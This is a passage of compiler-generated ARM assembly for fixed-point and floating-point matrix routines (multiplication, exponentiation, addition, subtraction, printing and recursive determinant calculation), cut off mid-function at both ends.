.size double_matrix_multiplication, .-double_matrix_multiplication
.align 2
.global fxp_matrix_multiplication
.syntax unified
.arm
.fpu softvfp
.type fxp_matrix_multiplication, %function
fxp_matrix_multiplication:
@ args = 12, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #32
str r0, [fp, #-32]
str r1, [fp, #-36]
str r2, [fp, #-40]
str r3, [fp, #-44]
ldr r2, [fp, #-36]
ldr r3, [fp, #-40]
cmp r2, r3
bne .L318
mov r3, #0
str r3, [fp, #-24]
b .L319
.L322:
mov r3, #0
str r3, [fp, #-20]
b .L320
.L321:
ldr r3, [fp, #-24]
lsl r3, r3, #4
ldr r2, [fp, #12]
add r3, r2, r3
ldr r2, [fp, #-20]
mov r1, #0
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L320:
ldr r2, [fp, #-20]
ldr r3, [fp, #-44]
cmp r2, r3
bcc .L321
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L319:
ldr r2, [fp, #-24]
ldr r3, [fp, #-32]
cmp r2, r3
bcc .L322
mov r3, #0
str r3, [fp, #-24]
b .L323
.L328:
mov r3, #0
str r3, [fp, #-20]
b .L324
.L327:
mov r3, #0
str r3, [fp, #-16]
b .L325
.L326:
ldr r3, [fp, #-24]
lsl r3, r3, #4
ldr r2, [fp, #12]
add r3, r2, r3
ldr r2, [fp, #-20]
ldr r5, [r3, r2, lsl #2]
ldr r3, [fp, #-24]
lsl r3, r3, #4
ldr r2, [fp, #4]
add r3, r2, r3
ldr r2, [fp, #-16]
ldr r0, [r3, r2, lsl #2]
ldr r3, [fp, #-16]
lsl r3, r3, #4
ldr r2, [fp, #8]
add r3, r2, r3
ldr r2, [fp, #-20]
ldr r3, [r3, r2, lsl #2]
mov r1, r3
bl fxp_mult
mov r1, r0
ldr r3, [fp, #-24]
lsl r3, r3, #4
ldr r2, [fp, #12]
add r4, r2, r3
mov r0, r5
bl fxp_add
mov r2, r0
ldr r3, [fp, #-20]
str r2, [r4, r3, lsl #2]
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L325:
ldr r2, [fp, #-16]
ldr r3, [fp, #-36]
cmp r2, r3
bcc .L326
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L324:
ldr r2, [fp, #-20]
ldr r3, [fp, #-44]
cmp r2, r3
bcc .L327
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L323:
ldr r2, [fp, #-24]
ldr r3, [fp, #-32]
cmp r2, r3
bcc .L328
b .L330
.L318:
ldr r0, .L331
bl puts
.L330:
nop
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L332:
.align 2
.L331:
.word .LC21
.size fxp_matrix_multiplication, .-fxp_matrix_multiplication
.section .rodata
.align 2
.LC22:
.word __stack_chk_guard
.text
.align 2
.global fxp_exp_matrix
.syntax unified
.arm
.fpu softvfp
.type fxp_exp_matrix, %function
fxp_exp_matrix:
@ args = 4, pretend = 0, frame = 112
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #112
str r0, [fp, #-104]
str r1, [fp, #-108]
str r2, [fp, #-112]
str r3, [fp, #-116]
ldr r3, [fp, #4]
str r3, [fp, #-120]
ldr r3, .L366
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
ldr r3, [fp, #-116]
cmp r3, #0
bne .L334
mov r3, #0
str r3, [fp, #-96]
b .L335
.L340:
mov r3, #0
str r3, [fp, #-92]
b .L336
.L339:
ldr r2, [fp, #-96]
ldr r3, [fp, #-92]
cmp r2, r3
bne .L337
ldr r3, [fp, #-96]
lsl r3, r3, #4
ldr r2, [fp, #-120]
add r4, r2, r3
mov r0, #0
ldr r1, .L366+4
bl fxp_double_to_fxp
mov r2, r0
ldr r3, [fp, #-92]
str r2, [r4, r3, lsl #2]
b .L338
.L337:
ldr r3, [fp, #-96]
lsl r3, r3, #4
ldr r2, [fp, #-120]
add r3, r2, r3
ldr r2, [fp, #-92]
mov r1, #0
str r1, [r3, r2, lsl #2]
.L338:
ldr r3, [fp, #-92]
add r3, r3, #1
str r3, [fp, #-92]
.L336:
ldr r2, [fp, #-92]
ldr r3, [fp, #-108]
cmp r2, r3
bcc .L339
ldr r3, [fp, #-96]
add r3, r3, #1
str r3, [fp, #-96]
.L335:
ldr r2, [fp, #-96]
ldr r3, [fp, #-104]
cmp r2, r3
bcc .L340
b .L333
.L334:
mov r3, #0
str r3, [fp, #-96]
b .L342
.L345:
mov r3, #0
str r3, [fp, #-92]
b .L343
.L344:
ldr r3, [fp, #-96]
lsl r3, r3, #4
ldr r2, [fp, #-112]
add r2, r2, r3
ldr r3, [fp, #-96]
lsl r3, r3, #4
ldr r1, [fp, #-120]
add r3, r1, r3
ldr r1, [fp, #-92]
ldr r1, [r2, r1, lsl #2]
ldr r2, [fp, #-92]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-92]
add r3, r3, #1
str r3, [fp, #-92]
.L343:
ldr r2, [fp, #-92]
ldr r3, [fp, #-108]
cmp r2, r3
bcc .L344
ldr r3, [fp, #-96]
add r3, r3, #1
str r3, [fp, #-96]
.L342:
ldr r2, [fp, #-96]
ldr r3, [fp, #-104]
cmp r2, r3
bcc .L345
ldr r3, [fp, #-116]
cmp r3, #1
beq .L365
mov r3, #1
str r3, [fp, #-88]
b .L347
.L362:
mov r3, #0
str r3, [fp, #-96]
b .L348
.L351:
mov r3, #0
str r3, [fp, #-92]
b .L349
.L350:
ldr r3, [fp, #-96]
lsl r3, r3, #4
ldr r2, [fp, #-120]
add r3, r2, r3
ldr r2, [fp, #-92]
ldr r2, [r3, r2, lsl #2]
ldr r3, [fp, #-96]
lsl r1, r3, #2
ldr r3, [fp, #-92]
add r3, r1, r3
lsl r3, r3, #2
sub r1, fp, #12
add r3, r1, r3
str r2, [r3, #-68]
ldr r3, [fp, #-92]
add r3, r3, #1
str r3, [fp, #-92]
.L349:
ldr r2, [fp, #-92]
ldr r3, [fp, #-108]
cmp r2, r3
bcc .L350
ldr r3, [fp, #-96]
add r3, r3, #1
str r3, [fp, #-96]
.L348:
ldr r2, [fp, #-96]
ldr r3, [fp, #-104]
cmp r2, r3
bcc .L351
mov r3, #0
str r3, [fp, #-96]
b .L352
.L355:
mov r3, #0
str r3, [fp, #-92]
b .L353
.L354:
ldr r3, [fp, #-96]
lsl r3, r3, #4
ldr r2, [fp, #-120]
add r3, r2, r3
ldr r2, [fp, #-92]
mov r1, #0
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-92]
add r3, r3, #1
str r3, [fp, #-92]
.L353:
ldr r2, [fp, #-92]
ldr r3, [fp, #-108]
cmp r2, r3
bcc .L354
ldr r3, [fp, #-96]
add r3, r3, #1
str r3, [fp, #-96]
.L352:
ldr r2, [fp, #-96]
ldr r3, [fp, #-104]
cmp r2, r3
bcc .L355
mov r3, #0
str r3, [fp, #-96]
b .L356
.L361:
mov r3, #0
str r3, [fp, #-92]
b .L357
.L360:
mov r3, #0
str r3, [fp, #-84]
b .L358
.L359:
ldr r3, [fp, #-96]
lsl r3, r3, #4
ldr r2, [fp, #-120]
add r3, r2, r3
ldr r2, [fp, #-92]
ldr r5, [r3, r2, lsl #2]
ldr r3, [fp, #-96]
lsl r2, r3, #2
ldr r3, [fp, #-84]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #12
add r3, r2, r3
ldr r0, [r3, #-68]
ldr r3, [fp, #-84]
lsl r3, r3, #4
ldr r2, [fp, #-112]
add r3, r2, r3
ldr r2, [fp, #-92]
ldr r3, [r3, r2, lsl #2]
mov r1, r3
bl fxp_mult
mov r1, r0
ldr r3, [fp, #-96]
lsl r3, r3, #4
ldr r2, [fp, #-120]
add r4, r2, r3
mov r0, r5
bl fxp_add
mov r2, r0
ldr r3, [fp, #-92]
str r2, [r4, r3, lsl #2]
ldr r3, [fp, #-84]
add r3, r3, #1
str r3, [fp, #-84]
.L358:
ldr r2, [fp, #-84]
ldr r3, [fp, #-108]
cmp r2, r3
bcc .L359
ldr r3, [fp, #-92]
add r3, r3, #1
str r3, [fp, #-92]
.L357:
ldr r2, [fp, #-92]
ldr r3, [fp, #-108]
cmp r2, r3
bcc .L360
ldr r3, [fp, #-96]
add r3, r3, #1
str r3, [fp, #-96]
.L356:
ldr r2, [fp, #-96]
ldr r3, [fp, #-104]
cmp r2, r3
bcc .L361
ldr r3, [fp, #-88]
add r3, r3, #1
str r3, [fp, #-88]
.L347:
ldr r2, [fp, #-88]
ldr r3, [fp, #-116]
cmp r2, r3
bcc .L362
b .L333
.L365:
nop
.L333:
ldr r3, .L366
ldr r2, [r3]
ldr r3, [fp, #-16]
eors r2, r3, r2
mov r3, #0
beq .L364
bl __stack_chk_fail
.L364:
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L367:
.align 2
.L366:
.word .LC22
.word 1072693248
.size fxp_exp_matrix, .-fxp_exp_matrix
.section .rodata
.align 2
.LC23:
.word __stack_chk_guard
.text
.align 2
.global double_exp_matrix
.syntax unified
.arm
.fpu softvfp
.type double_exp_matrix, %function
double_exp_matrix:
@ args = 4, pretend = 0, frame = 176
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, fp, lr}
add fp, sp, #16
sub sp, sp, #180
str r0, [fp, #-176]
str r1, [fp, #-180]
str r2, [fp, #-184]
str r3, [fp, #-188]
ldr r3, [fp, #4]
str r3, [fp, #-192]
ldr r3, .L401
ldr r3, [r3]
str r3, [fp, #-24]
mov r3,#0
ldr r3, [fp, #-188]
cmp r3, #0
bne .L369
mov r3, #0
str r3, [fp, #-172]
b .L370
.L375:
mov r3, #0
str r3, [fp, #-168]
b .L371
.L374:
ldr r2, [fp, #-172]
ldr r3, [fp, #-168]
cmp r2, r3
bne .L372
ldr r3, [fp, #-172]
lsl r3, r3, #5
ldr r2, [fp, #-192]
add r2, r2, r3
ldr r3, [fp, #-168]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
ldr r3, .L401+4
stm r1, {r2-r3}
b .L373
.L372:
ldr r3, [fp, #-172]
lsl r3, r3, #5
ldr r2, [fp, #-192]
add r2, r2, r3
ldr r3, [fp, #-168]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
.L373:
ldr r3, [fp, #-168]
add r3, r3, #1
str r3, [fp, #-168]
.L371:
ldr r2, [fp, #-168]
ldr r3, [fp, #-180]
cmp r2, r3
bcc .L374
ldr r3, [fp, #-172]
add r3, r3, #1
str r3, [fp, #-172]
.L370:
ldr r2, [fp, #-172]
ldr r3, [fp, #-176]
cmp r2, r3
bcc .L375
b .L368
.L369:
mov r3, #0
str r3, [fp, #-172]
b .L377
.L380:
mov r3, #0
str r3, [fp, #-168]
b .L378
.L379:
ldr r3, [fp, #-172]
lsl r3, r3, #5
ldr r2, [fp, #-184]
add r2, r2, r3
ldr r3, [fp, #-172]
lsl r3, r3, #5
ldr r1, [fp, #-192]
add r0, r1, r3
ldr r3, [fp, #-168]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
ldr r1, [fp, #-168]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r3, [fp, #-168]
add r3, r3, #1
str r3, [fp, #-168]
.L378:
ldr r2, [fp, #-168]
ldr r3, [fp, #-180]
cmp r2, r3
bcc .L379
ldr r3, [fp, #-172]
add r3, r3, #1
str r3, [fp, #-172]
.L377:
ldr r2, [fp, #-172]
ldr r3, [fp, #-176]
cmp r2, r3
bcc .L380
ldr r3, [fp, #-188]
cmp r3, #1
beq .L400
mov r3, #1
str r3, [fp, #-160]
b .L382
.L397:
mov r3, #0
str r3, [fp, #-172]
b .L383
.L386:
mov r3, #0
str r3, [fp, #-168]
b .L384
.L385:
ldr r3, [fp, #-172]
lsl r3, r3, #5
ldr r2, [fp, #-192]
add r2, r2, r3
ldr r3, [fp, #-168]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
ldr r1, [fp, #-172]
lsl r0, r1, #2
ldr r1, [fp, #-168]
add r1, r0, r1
lsl r1, r1, #3
sub r0, fp, #20
add r1, r0, r1
sub r1, r1, #136
stm r1, {r2-r3}
ldr r3, [fp, #-168]
add r3, r3, #1
str r3, [fp, #-168]
.L384:
ldr r2, [fp, #-168]
ldr r3, [fp, #-180]
cmp r2, r3
bcc .L385
ldr r3, [fp, #-172]
add r3, r3, #1
str r3, [fp, #-172]
.L383:
ldr r2, [fp, #-172]
ldr r3, [fp, #-176]
cmp r2, r3
bcc .L386
mov r3, #0
str r3, [fp, #-172]
b .L387
.L390:
mov r3, #0
str r3, [fp, #-168]
b .L388
.L389:
ldr r3, [fp, #-172]
lsl r3, r3, #5
ldr r2, [fp, #-192]
add r2, r2, r3
ldr r3, [fp, #-168]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-168]
add r3, r3, #1
str r3, [fp, #-168]
.L388:
ldr r2, [fp, #-168]
ldr r3, [fp, #-180]
cmp r2, r3
bcc .L389
ldr r3, [fp, #-172]
add r3, r3, #1
str r3, [fp, #-172]
.L387:
ldr r2, [fp, #-172]
ldr r3, [fp, #-176]
cmp r2, r3
bcc .L390
mov r3, #0
str r3, [fp, #-172]
b .L391
.L396:
mov r3, #0
str r3, [fp, #-168]
b .L392
.L395:
mov r3, #0
str r3, [fp, #-164]
b .L393
.L394:
ldr r3, [fp, #-172]
lsl r3, r3, #5
ldr r2, [fp, #-192]
add r2, r2, r3
ldr r3, [fp, #-168]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r4-r5}
ldr r3, [fp, #-172]
lsl r2, r3, #2
ldr r3, [fp, #-164]
add r3, r2, r3
lsl r3, r3, #3
sub r2, fp, #20
add r3, r2, r3
sub r3, r3, #136
ldmia r3, {r0-r1}
ldr r3, [fp, #-164]
lsl r3, r3, #5
ldr r2, [fp, #-184]
add r2, r2, r3
ldr r3, [fp, #-168]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
ldr r3, [fp, #-172]
lsl r3, r3, #5
ldr r2, [fp, #-192]
add r6, r2, r3
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r1, [fp, #-168]
lsl r1, r1, #3
add r1, r6, r1
stm r1, {r2-r3}
ldr r3, [fp, #-164]
add r3, r3, #1
str r3, [fp, #-164]
.L393:
ldr r2, [fp, #-164]
ldr r3, [fp, #-180]
cmp r2, r3
bcc .L394
ldr r3, [fp, #-168]
add r3, r3, #1
str r3, [fp, #-168]
.L392:
ldr r2, [fp, #-168]
ldr r3, [fp, #-180]
cmp r2, r3
bcc .L395
ldr r3, [fp, #-172]
add r3, r3, #1
str r3, [fp, #-172]
.L391:
ldr r2, [fp, #-172]
ldr r3, [fp, #-176]
cmp r2, r3
bcc .L396
ldr r3, [fp, #-160]
add r3, r3, #1
str r3, [fp, #-160]
.L382:
ldr r2, [fp, #-160]
ldr r3, [fp, #-188]
cmp r2, r3
bcc .L397
b .L368
.L400:
nop
.L368:
ldr r3, .L401
ldr r2, [r3]
ldr r3, [fp, #-24]
eors r2, r3, r2
mov r3, #0
beq .L399
bl __stack_chk_fail
.L399:
sub sp, fp, #16
@ sp needed
pop {r4, r5, r6, fp, pc}
.L402:
.align 2
.L401:
.word .LC23
.word 1072693248
.size double_exp_matrix, .-double_exp_matrix
.align 2
.global fxp_add_matrix
.syntax unified
.arm
.fpu softvfp
.type fxp_add_matrix, %function
fxp_add_matrix:
@ args = 4, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #28
str r0, [fp, #-24]
str r1, [fp, #-28]
str r2, [fp, #-32]
str r3, [fp, #-36]
mov r3, #0
str r3, [fp, #-20]
b .L404
.L407:
mov r3, #0
str r3, [fp, #-16]
b .L405
.L406:
ldr r3, [fp, #-20]
lsl r3, r3, #4
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r2, [fp, #-16]
ldr r0, [r3, r2, lsl #2]
ldr r3, [fp, #-20]
lsl r3, r3, #4
ldr r2, [fp, #-36]
add r3, r2, r3
ldr r2, [fp, #-16]
ldr r1, [r3, r2, lsl #2]
ldr r3, [fp, #-20]
lsl r3, r3, #4
ldr r2, [fp, #4]
add r4, r2, r3
bl fxp_add
mov r2, r0
ldr r3, [fp, #-16]
str r2, [r4, r3, lsl #2]
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L405:
ldr r2, [fp, #-16]
ldr r3, [fp, #-28]
cmp r2, r3
bcc .L406
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L404:
ldr r2, [fp, #-20]
ldr r3, [fp, #-24]
cmp r2, r3
bcc .L407
nop
nop
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.size fxp_add_matrix, .-fxp_add_matrix
.align 2
.global fxp_sub_matrix
.syntax unified
.arm
.fpu softvfp
.type fxp_sub_matrix, %function
fxp_sub_matrix:
@ args = 4, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #28
str r0, [fp, #-24]
str r1, [fp, #-28]
str r2, [fp, #-32]
str r3, [fp, #-36]
mov r3, #0
str r3, [fp, #-20]
b .L409
.L412:
mov r3, #0
str r3, [fp, #-16]
b .L410
.L411:
ldr r3, [fp, #-20]
lsl r3, r3, #4
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r2, [fp, #-16]
ldr r0, [r3, r2, lsl #2]
ldr r3, [fp, #-20]
lsl r3, r3, #4
ldr r2, [fp, #-36]
add r3, r2, r3
ldr r2, [fp, #-16]
ldr r1, [r3, r2, lsl #2]
ldr r3, [fp, #-20]
lsl r3, r3, #4
ldr r2, [fp, #4]
add r4, r2, r3
bl fxp_sub
mov r2, r0
ldr r3, [fp, #-16]
str r2, [r4, r3, lsl #2]
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L410:
ldr r2, [fp, #-16]
ldr r3, [fp, #-28]
cmp r2, r3
bcc .L411
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L409:
ldr r2, [fp, #-20]
ldr r3, [fp, #-24]
cmp r2, r3
bcc .L412
nop
nop
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.size fxp_sub_matrix, .-fxp_sub_matrix
.section .rodata
.align 2
.LC24:
.ascii "\012Matrix\012=====================\012\000"
.align 2
.LC25:
.ascii "#matrix[%d][%d]: %2.2f \000"
.text
.align 2
.global print_matrix
.syntax unified
.arm
.fpu softvfp
.type print_matrix, %function
print_matrix:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
ldr r0, .L418
bl puts
mov r3, #0
str r3, [fp, #-12]
b .L414
.L417:
mov r3, #0
str r3, [fp, #-8]
b .L415
.L416:
ldr r3, [fp, #-12]
lsl r3, r3, #5
ldr r2, [fp, #-16]
add r2, r2, r3
ldr r3, [fp, #-8]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
stm sp, {r2-r3}
ldr r2, [fp, #-8]
ldr r1, [fp, #-12]
ldr r0, .L418+4
bl printf
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L415:
ldr r2, [fp, #-8]
ldr r3, [fp, #-24]
cmp r2, r3
bcc .L416
mov r0, #10
bl putchar
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L414:
ldr r2, [fp, #-12]
ldr r3, [fp, #-20]
cmp r2, r3
bcc .L417
mov r0, #10
bl putchar
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L419:
.align 2
.L418:
.word .LC24
.word .LC25
.size print_matrix, .-print_matrix
.section .rodata
.align 2
.LC26:
.word __stack_chk_guard
.text
.align 2
.global determinant
.syntax unified
.arm
.fpu softvfp
.type determinant, %function
determinant:
@ args = 0, pretend = 0, frame = 168
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #168
str r0, [fp, #-176]
str r1, [fp, #-180]
ldr r3, .L437
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r2, #0
mov r3, #0
str r2, [fp, #-156]
str r3, [fp, #-152]
ldr r3, [fp, #-180]
cmp r3, #0
ble .L421
ldr r3, [fp, #-180]
cmp r3, #1
bne .L422
ldr r3, [fp, #-176]
ldmia r3, {r2-r3}
str r2, [fp, #-156]
str r3, [fp, #-152]
b .L421
.L422:
ldr r3, [fp, #-180]
cmp r3, #2
bne .L423
ldr r3, [fp, #-176]
ldmia r3, {r0-r1}
ldr r3, [fp, #-176]
add r3, r3, #32
add r3, r3, #8
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, [fp, #-176]
add r3, r3, #32
ldmia r3, {r0-r1}
ldr r3, [fp, #-176]
add r3, r3, #8
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-156]
str r3, [fp, #-152]
b .L421
.L423:
mov r2, #0
mov r3, #0
str r2, [fp, #-156]
str r3, [fp, #-152]
mov r3, #0
str r3, [fp, #-164]
b .L424
.L433:
mov r3, #0
str r3, [fp, #-172]
b .L425
.L432:
mov r3, #1
str r3, [fp, #-172]
b .L426
.L431:
mov r3, #0
str r3, [fp, #-160]
mov r3, #0
str r3, [fp, #-168]
b .L427
.L430:
ldr r2, [fp, #-168]
ldr r3, [fp, #-164]
cmp r2, r3
beq .L436
ldr r3, [fp, #-172]
lsl r3, r3, #5
ldr r2, [fp, #-176]
add r2, r2, r3
ldr r3, [fp, #-172]
sub r1, r3, #1
ldr r3, [fp, #-168]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
lsl r0, r1, #2
ldr r1, [fp, #-160]
add r1, r0, r1
lsl r1, r1, #3
sub r0, fp, #12
add r1, r0, r1
sub r1, r1, #136
stm r1, {r2-r3}
ldr r3, [fp, #-160]
add r3, r3, #1
str r3, [fp, #-160]
b .L429
.L436:
nop
.L429:
ldr r3, [fp, #-168]
add r3, r3, #1
str r3, [fp, #-168]
.L427:
ldr r2, [fp, #-168]
ldr r3, [fp, #-180]
cmp r2, r3
blt .L430
ldr r3, [fp, #-172]
add r3, r3, #1
str r3, [fp, #-172]
.L426:
ldr r2, [fp, #-172]
ldr r3, [fp, #-180]
cmp r2, r3
blt .L431
ldr r3, [fp, #-172]
add r3, r3, #1
str r3, [fp, #-172]
.L425:
ldr r3, [fp, #-180]
sub r3, r3, #1
ldr r2, [fp, #-172]
cmp r2, r3
blt .L432
ldr r0, [fp, #-164]
bl __aeabi_i2d
mov r2, #0
ldr r3, .L437+4
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
mov r2, #0
ldr r3, .L437+4
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, #0
ldr r1, .L437+8
bl internal_pow
ldr r2, [fp, #-176]
ldr r3, [fp, #-164]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, [fp, #-180]
sub r2, r3, #1
sub r3, fp, #148
mov r1, r2
mov r0, r3
bl determinant
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dmul
mov r2, r0
mov r3, r1
sub r1, fp, #156
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-156]
str r3, [fp, #-152]
ldr r3, [fp, #-164]
add r3, r3, #1
str r3, [fp, #-164]
.L424:
ldr r2, [fp, #-164]
ldr r3, [fp, #-180]
cmp r2, r3
blt .L433
.L421:
sub r3, fp, #156
ldmia r3, {r2-r3}
ldr r1, .L437
ldr r0, [r1]
ldr r1, [fp, #-16]
eors r0, r1, r0
mov r1, #0
beq .L435
bl __stack_chk_fail
.L435:
mov r0, r2
mov r1, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L438:
.align 2
.L437:
.word .LC26
.word 1072693248
.word -1074790400
.size determinant, .-determinant
.section .rodata
.align 2
.LC27:
.word __stack_chk_guard
.text
.align 2
.global fxp_determinant
.syntax unified
.arm
.fpu softvfp
.type fxp_determinant, %function
fxp_determinant:
@ args = 0, pretend = 0, frame = 296
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #296
str r0, [fp, #-304]
str r1, [fp, #-308]
ldr r3, .L460
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, #0
str r3, [fp, #-300]
b .L440
.L443:
mov r3, #0
str r3, [fp, #-296]
b .L441
.L442:
ldr r3, [fp, #-300]
lsl r3, r3, #4
ldr r2, [fp, #-304]
add r3, r2, r3
ldr r2, [fp, #-296]
ldr r3, [r3, r2, lsl #2]
mov r0, r3
bl fxp_to_double
mov r2, r0
mov r3, r1
ldr r1, [fp, #-300]
lsl r0, r1, #2
ldr r1, [fp, #-296]
add r1, r0, r1
lsl r1, r1, #3
sub r0, fp, #12
add r1, r0, r1
sub r1, r1, #264
stm r1, {r2-r3}
ldr r3, [fp, #-296]
add r3, r3, #1
str r3, [fp, #-296]
.L441:
ldr r2, [fp, #-296]
ldr r3, [fp, #-308]
cmp r2, r3
blt .L442
ldr r3, [fp, #-300]
add r3, r3, #1
str r3, [fp, #-300]
.L440:
ldr r2, [fp, #-300]
ldr r3, [fp, #-308]
cmp r2, r3
blt .L443
mov r2, #0
mov r3, #0
str r2, [fp, #-284]
str r3, [fp, #-280]
ldr r3, [fp, #-308]
cmp r3, #0
ble .L444
ldr r3, [fp, #-308]
cmp r3, #1
bne .L445
sub r3, fp, #276
ldmia r3, {r2-r3}
str r2, [fp, #-284]
str r3, [fp, #-280]
b .L444
.L445:
ldr r3, [fp, #-308]
cmp r3, #2
bne .L446
sub r1, fp, #276
ldmia r1, {r0-r1}
sub r3, fp, #236
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r1, fp, #244
ldmia r1, {r0-r1}
sub r3, fp, #268
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-284]
str r3, [fp, #-280]
b .L444
.L446:
mov r2, #0
mov r3, #0
str r2, [fp, #-284]
str r3, [fp, #-280]
mov r3, #0
str r3, [fp, #-292]
b .L447
.L456:
mov r3, #0
str r3, [fp, #-300]
b .L448
.L455:
mov r3, #1
str r3, [fp, #-300]
b .L449
.L454:
mov r3, #0
str r3, [fp, #-288]
mov r3, #0
str r3, [fp, #-296]
b .L450
.L453:
ldr r2, [fp, #-296]
ldr r3, [fp, #-292]
cmp r2, r3
beq .L459
ldr r3, [fp, #-300]
sub r1, r3, #1
ldr r3, [fp, #-300]
lsl r2, r3, #2
ldr r3, [fp, #-296]
add r3, r2, r3
lsl r3, r3, #3
sub r2, fp, #12
add r3, r2, r3
sub r3, r3, #264
ldmia r3, {r2-r3}
lsl r0, r1, #2
ldr r1, [fp, #-288]
add r1, r0, r1
lsl r1, r1, #3
sub r0, fp, #12
add r1, r0, r1
sub r1, r1, #136
stm r1, {r2-r3}
ldr r3, [fp, #-288]
add r3, r3, #1
str r3, [fp, #-288]
b .L452
.L459:
nop
.L452:
ldr r3, [fp, #-296]
add r3, r3, #1
str r3, [fp, #-296]
.L450:
ldr r2, [fp, #-296]
ldr r3, [fp, #-308]
cmp r2, r3
blt .L453
ldr r3, [fp, #-300]
add r3, r3, #1
str r3, [fp, #-300]
.L449:
ldr r2, [fp, #-300]
ldr r3, [fp, #-308]
cmp r2, r3
blt .L454
ldr r3, [fp, #-300]
add r3, r3, #1
str r3, [fp, #-300]
.L448:
ldr r3, [fp, #-308]
sub r3, r3, #1
ldr r2, [fp, #-300]
cmp r2, r3
blt .L455
ldr r0, [fp, #-292]
bl __aeabi_i2d
mov r2, #0
ldr r3, .L460+4
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
mov r2, #0
ldr r3, .L460+4
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, #0
ldr r1, .L460+8
bl internal_pow
ldr r3, [fp, #-292]
lsl r3, r3, #3
sub r2, fp, #12
add r3, r2, r3
sub r3, r3, #264
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, [fp, #-308]
sub r2, r3, #1
sub r3, fp, #148
mov r1, r2
mov r0, r3
bl determinant
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dmul
mov r2, r0
mov r3, r1
sub r1, fp, #284
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-284]
